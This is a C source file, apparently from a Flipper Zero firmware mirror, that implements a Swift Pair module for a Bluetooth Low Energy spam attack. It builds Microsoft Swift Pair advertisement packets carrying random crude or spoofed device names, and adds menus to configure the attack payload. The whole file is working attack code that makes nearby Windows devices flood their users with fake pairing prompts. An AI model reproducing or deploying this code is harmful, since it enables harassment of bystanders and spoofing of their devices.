mirror of
https://github.com/Next-Flip/Momentum-Firmware.git
synced 2026-04-24 03:29:57 -07:00
136 lines
3.8 KiB
C
136 lines
3.8 KiB
C
#include "swiftpair.h"
|
|
#include "_protocols.h"
|
|
|
|
// Hacked together by @Willy-JL and @Spooks4576
|
|
// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
|
|
|
|
const char* names[] = {
|
|
"Assquach💦",
|
|
"Flipper 🐬",
|
|
"iOS 17 🍎",
|
|
"Kink💦",
|
|
"👉👌",
|
|
"🔵🦷",
|
|
};
|
|
const uint8_t names_count = COUNT_OF(names);
|
|
|
|
static const char* get_name(const Payload* payload) {
|
|
UNUSED(payload);
|
|
return "SwiftPair";
|
|
}
|
|
|
|
static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
|
|
SwiftpairCfg* cfg = payload ? &payload->cfg.swiftpair : NULL;
|
|
|
|
const char* name;
|
|
switch(cfg ? payload->mode : PayloadModeRandom) {
|
|
case PayloadModeRandom:
|
|
default:
|
|
name = names[rand() % names_count];
|
|
break;
|
|
case PayloadModeValue:
|
|
name = cfg->name;
|
|
break;
|
|
}
|
|
uint8_t name_len = strlen(name);
|
|
|
|
uint8_t size = 7 + name_len;
|
|
uint8_t* packet = malloc(size);
|
|
uint8_t i = 0;
|
|
|
|
packet[i++] = size - 1; // Size
|
|
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
|
|
packet[i++] = 0x06; // Company ID (Microsoft)
|
|
packet[i++] = 0x00; // ...
|
|
packet[i++] = 0x03; // Microsoft Beacon ID
|
|
packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
|
|
packet[i++] = 0x80; // Reserved RSSI Byte
|
|
memcpy(&packet[i], name, name_len);
|
|
i += name_len;
|
|
|
|
*_size = size;
|
|
*_packet = packet;
|
|
}
|
|
|
|
enum {
|
|
_ConfigExtraStart = ConfigExtraStart,
|
|
ConfigName,
|
|
ConfigInfoRequire,
|
|
ConfigCOUNT,
|
|
};
|
|
static void config_callback(void* _ctx, uint32_t index) {
|
|
Ctx* ctx = _ctx;
|
|
scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
|
|
switch(index) {
|
|
case ConfigName:
|
|
scene_manager_next_scene(ctx->scene_manager, SceneSwiftpairName);
|
|
break;
|
|
case ConfigInfoRequire:
|
|
break;
|
|
default:
|
|
ctx->fallback_config_enter(ctx, index);
|
|
break;
|
|
}
|
|
}
|
|
static void extra_config(Ctx* ctx) {
|
|
Payload* payload = &ctx->attack->payload;
|
|
SwiftpairCfg* cfg = &payload->cfg.swiftpair;
|
|
VariableItemList* list = ctx->variable_item_list;
|
|
VariableItem* item;
|
|
|
|
item = variable_item_list_add(list, "Display Name", 0, NULL, NULL);
|
|
variable_item_set_current_value_text(
|
|
item, payload->mode == PayloadModeRandom ? "Random" : cfg->name);
|
|
|
|
variable_item_list_add(list, "Requires enabling SwiftPair", 0, NULL, NULL);
|
|
|
|
variable_item_list_set_enter_callback(list, config_callback, ctx);
|
|
}
|
|
|
|
static uint8_t config_count(const Payload* payload) {
|
|
UNUSED(payload);
|
|
return ConfigCOUNT - ConfigExtraStart - 1;
|
|
}
|
|
|
|
const Protocol protocol_swiftpair = {
|
|
.icon = &I_windows,
|
|
.get_name = get_name,
|
|
.make_packet = make_packet,
|
|
.extra_config = extra_config,
|
|
.config_count = config_count,
|
|
};
|
|
|
|
static void name_callback(void* _ctx) {
|
|
Ctx* ctx = _ctx;
|
|
Payload* payload = &ctx->attack->payload;
|
|
payload->mode = PayloadModeValue;
|
|
scene_manager_previous_scene(ctx->scene_manager);
|
|
}
|
|
void scene_swiftpair_name_on_enter(void* _ctx) {
|
|
Ctx* ctx = _ctx;
|
|
Payload* payload = &ctx->attack->payload;
|
|
SwiftpairCfg* cfg = &payload->cfg.swiftpair;
|
|
TextInput* text_input = ctx->text_input;
|
|
text_input_reset(text_input);
|
|
|
|
text_input_set_header_text(text_input, "Press back for random");
|
|
|
|
text_input_set_result_callback(
|
|
text_input, name_callback, ctx, cfg->name, sizeof(cfg->name), true);
|
|
|
|
text_input_set_minimum_length(text_input, 0);
|
|
|
|
view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewTextInput);
|
|
}
|
|
bool scene_swiftpair_name_on_event(void* _ctx, SceneManagerEvent event) {
|
|
Ctx* ctx = _ctx;
|
|
Payload* payload = &ctx->attack->payload;
|
|
if(event.type == SceneManagerEventTypeBack) {
|
|
payload->mode = PayloadModeRandom;
|
|
}
|
|
return false;
|
|
}
|
|
void scene_swiftpair_name_on_exit(void* _ctx) {
|
|
UNUSED(_ctx);
|
|
}
|